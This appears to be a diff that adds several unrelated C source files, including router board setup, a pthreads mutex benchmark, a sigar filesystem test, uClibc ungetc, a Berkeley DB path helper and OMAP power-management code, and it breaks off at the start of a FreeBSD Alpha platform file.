.name = "tp-link:green:qss", + .gpio = TL_WR841NV8_GPIO_LED_QSS, + .active_low = 1, + }, { + .name = "tp-link:green:system", + .gpio = TL_WR841NV8_GPIO_LED_SYSTEM, + .active_low = 1, + }, { + .name = "tp-link:green:wan", + .gpio = TL_WR841NV8_GPIO_LED_WAN, + .active_low = 1, + }, { + .name = "tp-link:green:wlan", + .gpio = TL_WR841NV8_GPIO_LED_WLAN, + .active_low = 1, + }, { + /* the 3G LED is only present on the MR3420 v2 */ + .name = "tp-link:green:3g", + .gpio = TL_MR3420V2_GPIO_LED_3G, + .active_low = 1, + }, +}; + +static struct gpio_keys_button tl_wr841n_v8_gpio_keys[] __initdata = { + { + .desc = "Reset button", + .type = EV_KEY, + .code = KEY_RESTART, + .debounce_interval = TL_WR841NV8_KEYS_DEBOUNCE_INTERVAL, + .gpio = TL_WR841NV8_GPIO_BTN_RESET, + .active_low = 1, + }, { + .desc = "RFKILL switch", + .type = EV_SW, + .code = KEY_RFKILL, + .debounce_interval = TL_WR841NV8_KEYS_DEBOUNCE_INTERVAL, + .gpio = TL_WR841NV8_GPIO_SW_RFKILL, + .active_low = 0, + } +}; + +static struct gpio_keys_button tl_mr3420v2_gpio_keys[] __initdata = { + { + .desc = "Reset button", + .type = EV_KEY, + .code = KEY_RESTART, + .debounce_interval = TL_WR841NV8_KEYS_DEBOUNCE_INTERVAL, + .gpio = TL_WR841NV8_GPIO_BTN_RESET, + .active_low = 1, + }, { + .desc = "WPS", + .type = EV_KEY, + .code = KEY_WPS_BUTTON, + .debounce_interval = TL_WR841NV8_KEYS_DEBOUNCE_INTERVAL, + .gpio = TL_WR841NV8_GPIO_SW_RFKILL, + .active_low = 0, + } +}; + +static void __init tl_ap123_setup(void) +{ + u8 *mac = (u8 *) KSEG1ADDR(0x1f01fc00); + u8 *ee = ath79_get_eeprom(); + + /* Disable JTAG, enabling GPIOs 0-3 */ + /* Configure OBS4 line, for GPIO 4*/ + ath79_gpio_function_setup(AR934X_GPIO_FUNC_JTAG_DISABLE, + AR934X_GPIO_FUNC_CLK_OBS4_EN); + + /* config gpio4 as normal gpio function */ + ath79_gpio_output_select(TL_MR3420V2_GPIO_USB_POWER, + AR934X_GPIO_OUT_GPIO); + + ath79_register_m25p80(&tl_wr841n_v8_flash_data); + + ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_SW_PHY_SWAP); + + ath79_register_mdio(1, 0x0); + + ath79_init_mac(ath79_eth0_data.mac_addr, mac, -1); + ath79_init_mac(ath79_eth1_data.mac_addr, mac, 0); + + /* GMAC0 is connected to the PHY0 of the internal switch */ + ath79_switch_data.phy4_mii_en = 1; + ath79_switch_data.phy_poll_mask = BIT(0); + ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_MII; + ath79_eth0_data.phy_mask = BIT(0); + ath79_eth0_data.mii_bus_dev = &ath79_mdio1_device.dev; + ath79_register_eth(0); + + /* GMAC1 is connected to the internal switch */ + ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_GMII; + ath79_register_eth(1); + + ath79_register_wmac(ee, mac); +} + +static void __init tl_wr841n_v8_setup(void) +{ + tl_ap123_setup(); + + ath79_register_leds_gpio(-1, ARRAY_SIZE(tl_wr841n_v8_leds_gpio) - 1, + tl_wr841n_v8_leds_gpio); + + ath79_register_gpio_keys_polled(1, TL_WR841NV8_KEYS_POLL_INTERVAL, + ARRAY_SIZE(tl_wr841n_v8_gpio_keys), + tl_wr841n_v8_gpio_keys); +} + +MIPS_MACHINE(ATH79_MACH_TL_WR841N_V8, "TL-WR841N-v8", "TP-LINK TL-WR841N/ND v8", + tl_wr841n_v8_setup); + + +static void __init tl_wr842n_v2_setup(void) +{ + tl_ap123_setup(); + + ath79_register_leds_gpio(-1, ARRAY_SIZE(tl_wr841n_v8_leds_gpio), + tl_wr841n_v8_leds_gpio); + + ath79_register_gpio_keys_polled(1, TL_WR841NV8_KEYS_POLL_INTERVAL, + ARRAY_SIZE(tl_wr841n_v8_gpio_keys), + tl_wr841n_v8_gpio_keys); + + gpio_request_one(TL_MR3420V2_GPIO_USB_POWER, + GPIOF_OUT_INIT_HIGH | GPIOF_EXPORT_DIR_FIXED, + "USB power"); + + ath79_register_usb(); +} + +MIPS_MACHINE(ATH79_MACH_TL_WR842N_V2, "TL-WR842N-v2", "TP-LINK TL-WR842N/ND v2", + tl_wr842n_v2_setup); + +static void __init tl_mr3420v2_setup(void) +{ + tl_ap123_setup(); + + ath79_register_leds_gpio(-1, ARRAY_SIZE(tl_wr841n_v8_leds_gpio), + tl_wr841n_v8_leds_gpio); + + ath79_register_gpio_keys_polled(1, TL_WR841NV8_KEYS_POLL_INTERVAL, + ARRAY_SIZE(tl_mr3420v2_gpio_keys), + tl_mr3420v2_gpio_keys); + + /* enable power for the USB port */ + gpio_request_one(TL_MR3420V2_GPIO_USB_POWER, + GPIOF_OUT_INIT_HIGH | GPIOF_EXPORT_DIR_FIXED, + "USB power"); + + ath79_register_usb(); +} + +MIPS_MACHINE(ATH79_MACH_TL_MR3420_V2, "TL-MR3420-v2", "TP-LINK TL-MR3420 v2", + tl_mr3420v2_setup); diff --git a/pool/shard011/C/0141695_benchtest1.c b/pool/shard011/C/0141695_benchtest1.c new file mode 100644 index 0000000000000000000000000000000000000000..cc89b55b359d10d8c4c584ad7233202e94fdb673 --- /dev/null +++ b/pool/shard011/C/0141695_benchtest1.c @@ -0,0 +1,226 @@ +/* + * benchtest1.c + * + * + * -------------------------------------------------------------------------- + * + * Pthreads-embedded (PTE) - POSIX Threads Library for embedded systems + * Copyright(C) 2008 Jason Schmidlapp + * + * Contact Email: jschmidlapp@users.sourceforge.net + * + * + * Based upon Pthreads-win32 - POSIX Threads Library for Win32 + * Copyright(C) 1998 John E. Bossom + * Copyright(C) 1999,2005 Pthreads-win32 contributors + * + * Contact Email: rpj@callisto.canberra.edu.au + * + * The original list of contributors to the Pthreads-win32 project + * is contained in the file CONTRIBUTORS.ptw32 included with the + * source code distribution. The list can also be seen at the + * following World Wide Web location: + * http://sources.redhat.com/pthreads-win32/contributors.html + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library in the file COPYING.LIB; + * if not, write to the Free Software Foundation, Inc., + * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA + * + * -------------------------------------------------------------------------- + * + * Measure time taken to complete an elementary operation. + * + * - Mutex + * Single thread iteration over lock/unlock for each mutex type. + */ + +#include "test.h" +#include "implement.h" + +#ifdef __GNUC__ +#include +#endif + +#include "benchtest.h" + +#define PTW32_MUTEX_TYPES +#define ITERATIONS 100000L + +static pthread_mutex_t mx; +static pthread_mutexattr_t ma; +static struct _timeb currSysTimeStart; +static struct _timeb currSysTimeStop; +static long durationMilliSecs; +static long overHeadMilliSecs = 0; +static int one = 1; +static int zero = 0; + +#define GetDurationMilliSecs(_TStart, _TStop) ((_TStop.time*1000+_TStop.millitm) \ + - (_TStart.time*1000+_TStart.millitm)) + +/* + * Dummy use of j, otherwise the loop may be removed by the optimiser + * when doing the overhead timing with an empty loop. + */ +#define TESTSTART \ + { int i, j = 0, k = 0; _ftime(&currSysTimeStart); for (i = 0; i < ITERATIONS; i++) { j++; + +#define TESTSTOP \ + }; _ftime(&currSysTimeStop); if (j + k == i) j++; } + + +static void +runTest (char * testNameString, int mType) +{ +#ifdef PTW32_MUTEX_TYPES + assert(pthread_mutexattr_settype(&ma, mType) == 0); +#endif + assert(pthread_mutex_init(&mx, &ma) == 0); + + TESTSTART + assert(pthread_mutex_lock(&mx) == zero); + assert(pthread_mutex_unlock(&mx) == zero); + TESTSTOP + + assert(pthread_mutex_destroy(&mx) == 0); + + durationMilliSecs = GetDurationMilliSecs(currSysTimeStart, currSysTimeStop) - overHeadMilliSecs; + + printf( "%-45s %15ld %15.3f\n", + testNameString, + durationMilliSecs, + (float) durationMilliSecs * 1E3 / ITERATIONS); +} + + +int pthread_test_bench1() +{ + int i = 0; + pte_osMutexHandle cs; + + overHeadMilliSecs = 0; + one = 1; + zero = 0; + + pthread_mutexattr_init(&ma); + + printf( "=============================================================================\n"); + printf( "\nLock plus unlock on an unlocked mutex.\n%ld iterations\n\n", + ITERATIONS); + printf( "%-45s %15s %15s\n", + "Test", + "Total(msec)", + "average(usec)"); + + /* + * Time the loop overhead so we can subtract it from the actual test times. + */ + + TESTSTART + assert(1 == one); + assert(1 == one); + TESTSTOP + + durationMilliSecs = GetDurationMilliSecs(currSysTimeStart, currSysTimeStop) - overHeadMilliSecs; + overHeadMilliSecs = durationMilliSecs; + + + TESTSTART + assert((dummy_call(&i), 1) == one); + assert((dummy_call(&i), 1) == one); + TESTSTOP + + durationMilliSecs = GetDurationMilliSecs(currSysTimeStart, currSysTimeStop) - overHeadMilliSecs; + + printf( "%-45s %15ld %15.3f\n", + "Dummy call x 2", + durationMilliSecs, + (float) durationMilliSecs * 1E3 / ITERATIONS); + + + TESTSTART + assert((interlocked_inc_with_conditionals(&i), 1) == one); + assert((interlocked_dec_with_conditionals(&i), 1) == one); + TESTSTOP + + durationMilliSecs = GetDurationMilliSecs(currSysTimeStart, currSysTimeStop) - overHeadMilliSecs; + + printf( "%-45s %15ld %15.3f\n", + "Dummy call -> Interlocked with cond x 2", + durationMilliSecs, + (float) durationMilliSecs * 1E3 / ITERATIONS); + + TESTSTART + assert((PTE_ATOMIC_INCREMENT(&i), 1) == one); + assert((PTE_ATOMIC_INCREMENT(&i), 1) == one); + TESTSTOP + + durationMilliSecs = GetDurationMilliSecs(currSysTimeStart, currSysTimeStop) - overHeadMilliSecs; + + printf( "%-45s %15ld %15.3f\n", + "InterlockedOp x 2", + durationMilliSecs, + (float) durationMilliSecs * 1E3 / ITERATIONS); + + + pte_osMutexCreate(&cs); + + TESTSTART + { + + pte_osMutexLock(cs); + pte_osMutexUnlock(cs); + } + TESTSTOP + + pte_osMutexDelete(cs); + + + durationMilliSecs = GetDurationMilliSecs(currSysTimeStart, currSysTimeStop) - overHeadMilliSecs; + + printf( "%-45s %15ld %15.3f\n", + "Simple Critical Section", + durationMilliSecs, + (float) durationMilliSecs * 1E3 / ITERATIONS); + + + + printf( ".............................................................................\n"); + + /* + * Now we can start the actual tests + */ +#ifdef PTW32_MUTEX_TYPES + runTest("PTHREAD_MUTEX_DEFAULT", PTHREAD_MUTEX_DEFAULT); + + runTest("PTHREAD_MUTEX_NORMAL", PTHREAD_MUTEX_NORMAL); + + runTest("PTHREAD_MUTEX_ERRORCHECK", PTHREAD_MUTEX_ERRORCHECK); + + runTest("PTHREAD_MUTEX_RECURSIVE", PTHREAD_MUTEX_RECURSIVE); +#else + runTest("Non-blocking lock", 0); +#endif + + printf( "=============================================================================\n"); + + /* + * End of tests. + */ + + pthread_mutexattr_destroy(&ma); + + one = i; /* Dummy assignment to avoid 'variable unused' warning */ + return 0; +} diff --git a/pool/shard011/C/0141696_t_sigar_fs.c b/pool/shard011/C/0141696_t_sigar_fs.c new file mode 100644 index 0000000000000000000000000000000000000000..7a554de55933f9cbd6e2696fa91d4a962720d7e0 --- /dev/null +++ b/pool/shard011/C/0141696_t_sigar_fs.c @@ -0,0 +1,163 @@ +/** + * Copyright (c) 2009, Sun Microsystems Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of Sun Microsystems Inc. nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include +#ifdef HAVE_SYS_TIME_H +#include +#endif +#ifdef HAVE_SYS_RESOURCE_H +#include +#endif + +#include +#include +#include +#include +#include +#if defined(MSVC) +#include +#endif + +#include "sigar.h" +#include "sigar_private.h" +#include "sigar_format.h" +#include "sigar_tests.h" + + +TEST(test_sigar_file_system_list_get) { + sigar_file_system_list_t fslist; + size_t i; + + assert(SIGAR_OK == sigar_file_system_list_get(t, &fslist)); + assert(fslist.number > 0); + + for (i = 0; i < fslist.number; i++) { + sigar_file_system_t fs = fslist.data[i]; + sigar_file_system_usage_t fsusage; + sigar_disk_usage_t diskusage; + int ret; + + assert(fs.dir_name); + assert(fs.dev_name); + assert(fs.type_name); + assert(fs.sys_type_name); + assert(fs.type); + + if (SIGAR_OK != (ret = sigar_file_system_ping(t, &fs))) { + continue; + } + + if (SIGAR_OK == (ret = sigar_file_system_usage_get(t, fs.dir_name, &fsusage))) { + assert(IS_IMPL_U64(fsusage.total)); + assert(IS_IMPL_U64(fsusage.free)); + assert(IS_IMPL_U64(fsusage.used)); + assert(IS_IMPL_U64(fsusage.avail)); +#if !(defined(SIGAR_TEST_OS_SOLARIS) || defined(_WIN32)) + /* solaris 8 */ + assert(IS_IMPL_U64(fsusage.files)); +#endif + assert(fsusage.use_percent >= 0); + } else { + switch (ret) { + /* track the expected error code */ +#if defined(MSVC) + case ERROR_NOT_READY: + break; +#endif + default: + fprintf(stderr, "sigar_file_system_usage_get(%s) ret = %d (%s)\n", + fs.dir_name, + ret, sigar_strerror(t, ret)); + assert(ret == SIGAR_OK); + break; + } + } + + if (SIGAR_OK == (ret = sigar_disk_usage_get(t, fs.dev_name, &diskusage))) { + assert(IS_IMPL_U64(diskusage.reads)); + assert(IS_IMPL_U64(diskusage.writes)); +#if !defined(SIGAR_TEST_OS_DARWIN) + /* freebsd */ + assert(IS_IMPL_U64(diskusage.read_bytes)); + assert(IS_IMPL_U64(diskusage.write_bytes)); + assert(IS_IMPL_U64(diskusage.rtime)); + assert(IS_IMPL_U64(diskusage.wtime)); +#endif +#if !(defined(SIGAR_TEST_OS_LINUX) || defined(SIGAR_TEST_OS_DARWIN) || defined(_WIN32)) + /* depending on the Linux version they might not be set */ + assert(IS_IMPL_U64(diskusage.qtime)); +#endif +#if !(defined(SIGAR_TEST_OS_LINUX) || defined(SIGAR_TEST_OS_DARWIN)) + assert(IS_IMPL_U64(diskusage.time)); +#endif +#if !defined(SIGAR_TEST_OS_DARWIN) + assert(IS_IMPL_U64(diskusage.snaptime)); +#endif +#if 0 + /* is -1 if undefined */ + assert(diskusage.service_time >= 0); + assert(diskusage.queue >= 0); +#endif + } else { + switch (ret) { + case ESRCH: /* macosx */ + case ENXIO: /* solaris */ + case ENOENT: /* aix */ + case SIGAR_ENOTIMPL: /* hpux */ + /* track the expected error code */ + fprintf(stderr, "sigar_disk_usage_get(%s) ret = %d (%s)\n", + fs.dev_name, + ret, sigar_strerror(t, ret)); + break; + default: + fprintf(stderr, "sigar_disk_usage_get(%s) ret = %d (%s)\n", + fs.dev_name, + ret, sigar_strerror(t, ret)); + assert(ret == SIGAR_OK); + break; + } + } + } + + sigar_file_system_list_destroy(t, &fslist); + + return 0; +} + +int main() { + sigar_t *t; + int err = 0; + + assert(SIGAR_OK == sigar_open(&t)); + + test_sigar_file_system_list_get(t); + + sigar_close(t); + + return err ? -1 : 0; +} diff --git a/pool/shard011/C/0141697_ungetc.c b/pool/shard011/C/0141697_ungetc.c new file mode 100644 index 0000000000000000000000000000000000000000..1b9197a18f1c5cd098e305b2581bbdb6bdc77cbd --- /dev/null +++ b/pool/shard011/C/0141697_ungetc.c @@ -0,0 +1,77 @@ +/* Copyright (C) 2004 Manuel Novoa III + * + * GNU Library General Public License (LGPL) version 2 or later. + * + * Dedicated to Toni. See uClibc/DEDICATION.mjn3 for details. + */ + +#include "_stdio.h" + +/* Having ungotten characters implies the stream is reading. + * The scheme used here treats the least significant 2 bits of + * the stream's modeflags member as follows: + * 0 0 Not currently reading. + * 0 1 Reading, but no ungetc() or scanf() push back chars. + * 1 0 Reading with one ungetc() char (ungot[1] is 1) + * or one scanf() pushed back char (ungot[1] is 0). + * 1 1 Reading with both an ungetc() char and a scanf() + * pushed back char. Note that this must be the result + * of a scanf() push back (in ungot[0]) _followed_ by + * an ungetc() call (in ungot[1]). + * + * Notes: + * scanf() can NOT use ungetc() to push back characters. + * (See section 7.19.6.2 of the C9X rationale -- WG14/N897.) + */ + +int ungetc(int c, register FILE *stream) +{ + __STDIO_AUTO_THREADLOCK_VAR; + + __STDIO_AUTO_THREADLOCK(stream); + __STDIO_STREAM_VALIDATE(stream); + +#ifdef __UCLIBC_MJN3_ONLY__ +#warning CONSIDER: Make fast ungetc an option? +#endif +#ifdef __UCLIBC_HAS_STDIO_GETC_MACRO__ + /* If buffered narrow reading with no ungot slots filled, and if not + * ungetting a different char than the one last read from the buffer, + * we can simply decrement the position and not worry about disabling + * the getc macros. This will cut down on overhead in applications + * that use getc/ungetc extensively (like gcc). */ + /* NOTE: If we can use getc, then we are buffered narrow reading with + * no ungot slots filled. */ + if (__STDIO_STREAM_CAN_USE_BUFFER_GET(stream) + && (c != EOF) + && (stream->__bufpos > stream->__bufstart) + && (stream->__bufpos[-1] == ((unsigned char)c)) + ) { + --stream->__bufpos; + __STDIO_STREAM_CLEAR_EOF(stream); /* Must clear end-of-file flag. */ + } else +#endif + /* Note: Even if c == EOF, we need to initialize/verify the + * stream's orientation and ensure the stream is in reading + * mode (if readable and properly oriented). */ + if ((!__STDIO_STREAM_IS_NARROW_READING(stream) + && __STDIO_STREAM_TRANS_TO_READ(stream, __FLAG_NARROW)) + || ((stream->__modeflags & __FLAG_UNGOT) + && ((stream->__modeflags & 1) || stream->__ungot[1])) + ) { + c = EOF; + } else if (c != EOF) { + __STDIO_STREAM_DISABLE_GETC(stream); + + /* Flag this as a user ungot, as scanf does the necessary fixup. */ + stream->__ungot[1] = 1; + stream->__ungot[(++stream->__modeflags) & 1] = c; + + __STDIO_STREAM_CLEAR_EOF(stream); /* Must clear end-of-file flag. */ + } + + __STDIO_STREAM_VALIDATE(stream); + __STDIO_AUTO_THREADUNLOCK(stream); + + return c; +} diff --git a/pool/shard011/C/0141698_mkpath.c b/pool/shard011/C/0141698_mkpath.c new file mode 100644 index 0000000000000000000000000000000000000000..d86744d36b0c3d73b1c08b1611d27a8e1595eb65 --- /dev/null +++ b/pool/shard011/C/0141698_mkpath.c @@ -0,0 +1,54 @@ +/*- + * See the file LICENSE for redistribution information. + * Copyright (c) 1997, 2011 Oracle and/or its affiliates. All rights reserved. + * $Id$ + */ +#include "db_config.h" +#include "db_int.h" +#pragma hdrstop +/* + * __db_mkpath -- -- + * Create intermediate directories. + * + * PUBLIC: int __db_mkpath __P((ENV *, const char *)); + */ +int __db_mkpath(ENV * env, const char * name) +{ + int ret; + char * p, * t, savech; + /* + * Get a copy so we can modify the string. It's a path and potentially + * quite long, so don't allocate the space on the stack. + */ + size_t len = sstrlen(name)+1; + if((ret = __os_malloc(env, len, &t)) != 0) + return ret; + memcpy(t, name, len); + /* + * Cycle through the path, creating intermediate directories. + * + * Skip the first byte if it's a path separator, it's the start of an + * absolute pathname. + */ + if(PATH_SEPARATOR[1] == '\0') { + for(p = t+1; p[0] != '\0'; ++p) + if(p[0] == PATH_SEPARATOR[0]) { + savech = *p; + *p = '\0'; + if(__os_exists(env, t, NULL) && (ret = __os_mkdir(env, t, env->dir_mode)) != 0) + break; + *p = savech; + } + } + else + for(p = t+1; p[0] != '\0'; ++p) + if(sstrchr(PATH_SEPARATOR, p[0]) != NULL) { + savech = *p; + *p = '\0'; + if(__os_exists(env, t, NULL) && (ret = __os_mkdir(env, t, env->dir_mode)) != 0) + break; + *p = savech; + } + __os_free(env, t); + return ret; +} diff --git a/pool/shard011/C/0141699_pm.c b/pool/shard011/C/0141699_pm.c new file mode 100644 index 0000000000000000000000000000000000000000..95eb863f780d8df3051db1a143206ea28206e54b --- /dev/null +++ b/pool/shard011/C/0141699_pm.c @@ -0,0 +1,268 @@ +/* + * pm.c - Common OMAP2+ power management-related code + * + * Copyright (C) 2010 Texas Instruments, Inc. + * Copyright (C) 2010 Nokia Corporation + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "voltage.h" +#include "powerdomain.h" +#include "clockdomain.h" +#include "pm.h" +#include "twl-common.h" + +static struct omap_device_pm_latency *pm_lats; + +static struct device *mpu_dev; +static struct device *iva_dev; +static struct device *l3_dev; +static struct device *dsp_dev; + +struct device *omap2_get_mpuss_device(void) +{ + WARN_ON_ONCE(!mpu_dev); + return mpu_dev; +} + +struct device *omap2_get_iva_device(void) +{ + WARN_ON_ONCE(!iva_dev); + return iva_dev; +} + +struct device *omap2_get_l3_device(void) +{ + WARN_ON_ONCE(!l3_dev); + return l3_dev; +} + +struct device *omap4_get_dsp_device(void) +{ + WARN_ON_ONCE(!dsp_dev); + return dsp_dev; +} +EXPORT_SYMBOL(omap4_get_dsp_device); + +/* static int _init_omap_device(struct omap_hwmod *oh, void *user) */ +static int _init_omap_device(char *name, struct device **new_dev) +{ + struct omap_hwmod *oh; + struct omap_device *od; + + oh = omap_hwmod_lookup(name); + if (WARN(!oh, "%s: could not find omap_hwmod for %s\n", + __func__, name)) + return -ENODEV; + + od = omap_device_build(oh->name, 0, oh, NULL, 0, pm_lats, 0, false); + if (WARN(IS_ERR(od), "%s: could not build omap_device for %s\n", + __func__, name)) + return -ENODEV; + + *new_dev = &od->pdev.dev; + + return 0; +} + +/* + * Build omap_devices for processors and bus. + */ +static void omap2_init_processor_devices(void) +{ + _init_omap_device("mpu", &mpu_dev); + if (omap3_has_iva()) + _init_omap_device("iva", &iva_dev); + + if (cpu_is_omap44xx()) { + _init_omap_device("l3_main_1", &l3_dev); + _init_omap_device("dsp", &dsp_dev); + _init_omap_device("iva", &iva_dev); + } else { + _init_omap_device("l3_main", &l3_dev); + } +} + +/* Types of sleep_switch used in omap_set_pwrdm_state */ +#define FORCEWAKEUP_SWITCH 0 +#define LOWPOWERSTATE_SWITCH 1 + +/* + * This sets pwrdm state (other than mpu & core. Currently only ON & + * RET are supported. + */ +int omap_set_pwrdm_state(struct powerdomain *pwrdm, u32 state) +{ + u32 cur_state; + int sleep_switch = -1; + int ret = 0; + int hwsup = 0; + + if (pwrdm == NULL || IS_ERR(pwrdm)) + return -EINVAL; + + while (!(pwrdm->pwrsts & (1 << state))) { + if (state == PWRDM_POWER_OFF) + return ret; + state--; + } + + cur_state = pwrdm_read_next_pwrst(pwrdm); + if (cur_state == state) + return ret; + + if (pwrdm_read_pwrst(pwrdm) < PWRDM_POWER_ON) { + if ((pwrdm_read_pwrst(pwrdm) > state) && + (pwrdm->flags & PWRDM_HAS_LOWPOWERSTATECHANGE)) { + sleep_switch = LOWPOWERSTATE_SWITCH; + } else { + hwsup = clkdm_in_hwsup(pwrdm->pwrdm_clkdms[0]); + clkdm_wakeup(pwrdm->pwrdm_clkdms[0]); + sleep_switch = FORCEWAKEUP_SWITCH; + } + } + + ret = pwrdm_set_next_pwrst(pwrdm, state); + if (ret) { + printk(KERN_ERR "Unable to set state of powerdomain: %s\n", + pwrdm->name); + goto err; + } + + switch (sleep_switch) { + case FORCEWAKEUP_SWITCH: + if (hwsup) + clkdm_allow_idle(pwrdm->pwrdm_clkdms[0]); + else + clkdm_sleep(pwrdm->pwrdm_clkdms[0]); + break; + case LOWPOWERSTATE_SWITCH: + pwrdm_set_lowpwrstchange(pwrdm); + break; + default: + return ret; + } + + pwrdm_state_switch(pwrdm); +err: + return ret; +} + +/* + * This API is to be called during init to put the various voltage + * domains to the voltage as per the opp table. Typically we boot up + * at the nominal voltage. So this function finds out the rate of + * the clock associated with the voltage domain, finds out the correct + * opp entry and puts the voltage domain to the voltage specifies + * in the opp entry + */ +static int __init omap2_set_init_voltage(char *vdd_name, char *clk_name, + struct device *dev) +{ + struct voltagedomain *voltdm; + struct clk *clk; + struct opp *opp; + unsigned long freq, bootup_volt; + + if (!vdd_name || !clk_name || !dev) { + printk(KERN_ERR "%s: Invalid parameters!\n", __func__); + goto exit; + } + + voltdm = omap_voltage_domain_lookup(vdd_name); + if (IS_ERR(voltdm)) { + printk(KERN_ERR "%s: Unable to get vdd pointer for vdd_%s\n", + __func__, vdd_name); + goto exit; + } + + clk = clk_get(NULL, clk_name); + if (IS_ERR(clk)) { + printk(KERN_ERR "%s: unable to get clk %s\n", + __func__, clk_name); + goto exit; + } + + freq = clk->rate; + clk_put(clk); + + opp = opp_find_freq_ceil(dev, &freq); + if (IS_ERR(opp)) { + printk(KERN_ERR "%s: unable to find boot up OPP for vdd_%s\n", + __func__, vdd_name); + goto exit; + } + + bootup_volt = opp_get_voltage(opp); + if (!bootup_volt) { + printk(KERN_ERR "%s: unable to find voltage corresponding" + "to the bootup OPP for vdd_%s\n", __func__, vdd_name); + goto exit; + } + + omap_voltage_scale_vdd(voltdm, bootup_volt); + return 0; + +exit: + printk(KERN_ERR "%s: Unable to put vdd_%s to its init voltage\n\n", + __func__, vdd_name); + return -EINVAL; +} + +static void __init omap3_init_voltages(void) +{ + if (!cpu_is_omap34xx()) + return; + + omap2_set_init_voltage("mpu", "dpll1_ck", mpu_dev); + omap2_set_init_voltage("core", "l3_ick", l3_dev); +} + +static void __init omap4_init_voltages(void) +{ + if (!cpu_is_omap44xx()) + return; + + omap2_set_init_voltage("mpu", "dpll_mpu_ck", mpu_dev); + omap2_set_init_voltage("core", "l3_div_ck", l3_dev); + omap2_set_init_voltage("iva", "dpll_iva_m5x2_ck", iva_dev); +} + +static int __init omap2_common_pm_init(void) +{ + omap2_init_processor_devices(); + omap_pm_if_init(); + + return 0; +} +postcore_initcall(omap2_common_pm_init); + +static int __init omap2_common_pm_late_init(void) +{ + /* Init the voltage layer */ + omap_pmic_late_init(); + omap_voltage_late_init(); + + /* Initialize the voltages */ + omap3_init_voltages(); + omap4_init_voltages(); + + /* Smartreflex device init */ + omap_devinit_smartreflex(); + + return 0; +} +late_initcall(omap2_common_pm_late_init); diff --git a/pool/shard011/C/0141700_dec_kn8ae.c b/pool/shard011/C/0141700_dec_kn8ae.c new file mode 100644 index 0000000000000000000000000000000000000000..f05c35ed07badf2553143c9cd698e6e5289e344b --- /dev/null +++ b/pool/shard011/C/0141700_dec_kn8ae.c @@ -0,0 +1,88 @@ +/* $FreeBSD: src/sys/alpha/alpha/dec_kn8ae.c,v 1.5 1999/10/05 21:19:34 n_hibma Exp $ */ +/* $NetBSD: dec_kn8ae.c,v 1.15 1998/02/13 00:12:50 thorpej Exp $ */ + +/* + * Copyright (c) 1997 by Matthew Jacob + * NASA AMES Research Center. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice immediately at the beginning of the file, without modification, + * this list of conditions, and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "opt_simos.h" + +#include +#include +#include + +#include +#include + +#include +#include +#include + +void dec_kn8ae_init(int); +static void dec_kn8ae_cons_init(void); + +static const struct alpha_variation_table dec_kn8ae_variations[] = { + { 0, "AlphaServer 8400" }, + { 0, NULL }, +}; + +void +dec_kn8ae_init(int cputype) +{ + u_int64_t variation; + + platform.family = "AlphaServer 8400"; + + if 